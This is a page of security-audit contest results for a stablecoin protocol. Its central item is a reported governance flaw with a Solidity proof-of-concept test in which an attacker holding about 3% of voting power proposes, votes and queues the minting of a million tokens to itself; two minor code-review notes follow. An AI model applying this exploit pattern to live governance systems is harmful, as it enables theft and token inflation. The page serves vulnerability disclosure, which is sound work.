Open Dollar - fibonacci's results

A floating $1.00 pegged stablecoin backed by Liquid Staking Tokens with NFT controlled vaults.

General Information

Platform: Code4rena

Start Date: 18/10/2023

Pot Size: $36,500 USDC

Total HM: 17

Participants: 77

Period: 7 days

Judge: MiloTruck

Total Solo HM: 5

Id: 297

League: ETH

Open Dollar

Findings Distribution

Researcher Performance

Rank: 42/77

Findings: 2

Award: $62.49

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Kaysoft

Also found by: Arz, T1MOH, btk, fibonacci, hals, holydevoti0n, immeas, perseus, spark, tnquanghuy0512

Labels

bug
2 (Med Risk)
downgraded by judge
low quality report
satisfactory
edited-by-warden
duplicate-202

Awards

54.1911 USDC - $54.19

External Links

Lines of code

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/gov/ODGovernor.sol#L43 https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/gov/ODGovernor.sol#L41 https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/script/Common.s.sol#L41-L92

Vulnerability details

Impact

Approximately 3% of the voting power is enough to reach a quorum and execute any proposal.

GovernorVotesQuorumFraction(3)

Furthermore, the short voting period (15 blocks, about a few minutes on Arbitrum chain) heightens the probability of a successful attack. This limited timeframe leaves minimal room to react and vote against malicious proposals.

GovernorSettings(1, 15, 0)

The ODGovernor contract can not only modify Vault721 parameters but is also granted authorization within other core components of the protocol, including safeEngine, systemCoin, protocolToken, etc. This allows an attacker to perform various actions, including, but not limited to:

  1. Minting an arbitrary number of tokens.
  2. Modifying core protocol components.

Therefore, the cost of this attack is low relative to the amount of possible profit.

Proof of Concept

Add POC.t.sol file to the od-contracts/test/nft/goerli/ folder. Run the test with forge t --rpc-url=$RPC_URL --mc POC.

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;

import 'forge-std/Test.sol';
import {GoerliDeployment} from '@script/GoerliDeployment.s.sol';
import {IVotes} from '@openzeppelin/governance/utils/IVotes.sol';
import {IAccessControl} from '@openzeppelin/access/IAccessControl.sol';
import {IERC20} from '@openzeppelin/token/ERC20/IERC20.sol';

contract POC is Test, GoerliDeployment {
    address immutable attacker = makeAddr("attacker");

    function setUp() external {
        // Mint governance tokens for attacker
        vm.prank(ODGovernor_Address);
        protocolToken.mint(attacker, 310 ether);
        vm.prank(attacker);
        IVotes(ProtocolToken_Address).delegate(attacker);

        // On the Goerli test network, the ODGovernor contract
        // has not been granted roles to schedule and execute operations
        vm.startPrank(TimelockController_Address);
        IAccessControl(TimelockController_Address).grantRole(timelockController.PROPOSER_ROLE(), ODGovernor_Address);
        IAccessControl(TimelockController_Address).grantRole(timelockController.EXECUTOR_ROLE(), ODGovernor_Address);
        vm.stopPrank();
    }

    function testMintArbitraryTokenAmount() external {
        IERC20 erc20 = IERC20(ProtocolToken_Address);
        uint256 totalSupply = erc20.totalSupply();
        uint256 attackerBalance = erc20.balanceOf(attacker);
        uint256 votingPower = attackerBalance * 1e18 / totalSupply;
        emit log_named_decimal_uint("votingPower", votingPower, 18);
        // Logs: votingPower: 0.030067895247332686

        // Propose
        address[] memory targets = new address[](2);
        targets[0] = address(systemCoin);
        targets[1] = address(protocolToken);
        
        uint256[] memory values = new uint256[](2);
        values[0] = 0;
        values[1] = 0;

        bytes[] memory calldatas = new bytes[](2);
        calldatas[0] = abi.encodeWithSignature("mint(address,uint256)", attacker, 1_000_000 ether);
        calldatas[1] = abi.encodeWithSignature("mint(address,uint256)", attacker, 1_000_000 ether);

        string memory description = "Mint arbitrary amount of system and protocol tokens";
        bytes32 descriptionHash = keccak256(bytes(description));

        uint256 propId = odGovernor.propose(targets, values, calldatas, description);

        // Vote
        vm.startPrank(attacker);
        vm.roll(block.number + 2);
        odGovernor.castVote(propId, 1);

        // Schedule propose execution
        vm.roll(block.number + 15);
        odGovernor.queue(targets, values, calldatas, descriptionHash);
        vm.stopPrank();
    }
}

Tools Used

Manual review, tests

Review quorum threshold.

Assessed type

Governance

#0 - c4-pre-sort

2023-10-26T03:36:39Z

raymondfam marked the issue as low quality report

#1 - c4-pre-sort

2023-10-26T03:37:07Z

raymondfam marked the issue as duplicate of #73

#2 - c4-judge

2023-11-02T07:06:55Z

MiloTruck changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-11-02T08:47:13Z

MiloTruck marked the issue as satisfactory

Awards

8.3007 USDC - $8.30

Labels

bug
grade-b
QA (Quality Assurance)
sufficient quality report
Q-13

External Links

  1. The ODSafeManager contract has functions for adding and removing a safe from the user's list of safes. One of these functions uses the safeAllowed modifier, while the other does not. This means that users can add any safe to their list of safes, but they can only delete safes that they own. It seems that both functions should either have the modifier or neither of them should.
/// @inheritdoc IODSafeManager
function addSAFE(uint256 _safe) external {
  SAFEData memory _sData = _safeData[_safe];
  _usrSafes[msg.sender].add(_safe);
  _usrSafesPerCollat[msg.sender][_sData.collateralType].add(_safe);
}

/// @inheritdoc IODSafeManager
function removeSAFE(uint256 _safe) external safeAllowed(_safe) {
  SAFEData memory _sData = _safeData[_safe];
  _usrSafes[_sData.owner].remove(_safe);
  _usrSafesPerCollat[_sData.owner][_sData.collateralType].remove(_safe);
}

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/ODSafeManager.sol#L234-L246

  1. The setSafeManager function in the Vault721 contract does not update the NFTRenderer's implementation of safeManager, resulting in incorrect data source for rendering token URIs.
function setSafeManager(address _safeManager) external onlyGovernor {
  _setSafeManager(_safeManager);
}

function _setSafeManager(address _safeManager) internal nonZero(_safeManager) {
  safeManager = IODSafeManager(_safeManager);
}

https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/Vault721.sol#L126-L128

#0 - c4-pre-sort

2023-10-27T00:47:04Z

raymondfam marked the issue as sufficient quality report

#1 - c4-judge

2023-11-03T16:41:39Z

MiloTruck marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter